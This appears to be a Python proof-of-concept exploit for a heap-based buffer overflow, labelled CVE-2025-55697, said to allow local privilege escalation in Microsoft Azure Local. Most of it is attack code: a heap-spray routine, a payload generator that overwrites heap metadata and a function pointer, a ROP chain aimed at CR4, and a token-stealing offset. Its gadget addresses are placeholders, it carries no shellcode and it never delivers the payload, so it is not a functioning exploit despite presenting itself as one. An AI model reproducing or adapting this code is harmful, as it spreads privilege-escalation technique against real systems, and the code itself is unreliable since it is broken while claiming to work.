The following code is for security research and authorized testing only.
python
# CVE-2025-55697 PoC - Azure Local Heap-based Buffer Overflow
# Vulnerability: Heap-based buffer overflow leading to local privilege escalation
# Target: Microsoft Azure Local
import struct
import sys
# Buffer overflow payload generator for CVE-2025-55697
# This PoC demonstrates the exploitation technique for the heap-based
# buffer overflow vulnerability in Azure Local components.
VULNERABLE_COMPONENT = "Azure Local Cluster Service"
TARGET_PROCESS = "svchost.exe" # Host process for Azure Local services
# Heap spray configuration
HEAP_SPRAY_SIZE = 0x10000 # 64KB chunks
SPRAY_COUNT = 0x1000 # Number of spray iterations
# ROP gadget offsets (example - actual gadgets vary by OS version)
ROP_POP_RCX = 0x0000000000401234
ROP_POP_RDX = 0x0000000000405678
ROP_POP_RAX = 0x0000000000409ABC
ROP_MOV_CR4 = 0x000000000041DEF0
# Token stealing shellcode offset
TOKEN_STEAL_OFFSET = 0x0000000000420000
def create_overflow_payload(buffer_size=512, overflow_amount=256):
"""
Create a heap-based buffer overflow payload.
The payload overwrites adjacent heap metadata and objects
to achieve arbitrary code execution.
"""
# Normal data to fill the legitimate buffer
payload = b"A" * buffer_size
# Overflow data - overwrite heap chunk header and adjacent objects
# Heap chunk header (varies by Windows heap implementation)
payload += struct.pack("<Q", 0x4141414141414141) # Previous size
payload += struct.pack("<Q", 0x4242424242424242) # Size field
# Overwrite function pointer or vtable pointer
payload += struct.pack("<Q", TOKEN_STEAL_OFFSET)
# ROP chain for privilege escalation
payload += struct.pack("<Q", ROP_POP_RCX)
payload += struct.pack("<Q", 0x0000000000000000)
payload += struct.pack("<Q", ROP_POP_RAX)
payload += struct.pack("<Q", 0x0000000000000000)
payload += struct.pack("<Q", ROP_MOV_CR4)
# NOP sled + shellcode
payload += b"\x90" * overflow_amount
return payload
def heap_spray():
"""
Spray the heap with controlled data to increase
the reliability of the exploit.
"""
spray_data = b"\x90" * HEAP_SPRAY_SIZE
spray_data += create_overflow_payload()
return spray_data * SPRAY_COUNT
def exploit():
"""
Main exploit routine for CVE-2025-55697.
Requires local low-privilege access to the target system.
"""
print(f"[*] Targeting: {VULNERABLE_COMPONENT}")
print(f"[*] Target process: {TARGET_PROCESS}")
print(f"[*] Generating heap overflow payload...")
payload = create_overflow_payload()
spray = heap_spray()
print(f"[+] Payload size: {len(payload)} bytes")
print(f"[+] Heap spray size: {len(spray)} bytes")
print(f"[*] Triggering vulnerability via crafted input...")
# In actual exploitation, the payload would be delivered through
# the vulnerable Azure Local component's input handling mechanism.
# This typically involves interacting with a local service or API
# that processes user-supplied data without proper bounds checking.
print("[!] Note: Actual exploitation requires specific knowledge")
print("[!] of the target environment and memory layout.")
print("[!] Apply Microsoft security updates immediately.")
if __name__ == "__main__":
exploit()